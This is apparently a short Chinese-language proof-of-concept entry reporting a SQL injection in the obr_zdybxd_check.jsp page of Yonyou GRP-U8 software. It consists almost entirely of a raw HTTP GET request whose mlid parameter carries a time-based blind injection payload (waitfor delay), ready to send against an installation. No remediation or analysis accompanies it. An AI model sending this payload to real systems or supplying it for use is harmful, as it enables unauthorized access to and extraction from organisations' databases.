## 用友GRP-U8-obr_zdybxd_check.jsp存在SQL注入 ## poc ``` GET /u8qx/obr_zdybxd_check.jsp?mlid=1';waitfor+delay+'0:0:3'-- HTTP/1.1 Host: 172.16.135.132:8009 Cache-Control: max-age=0 Origin: null DNT: 1 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ```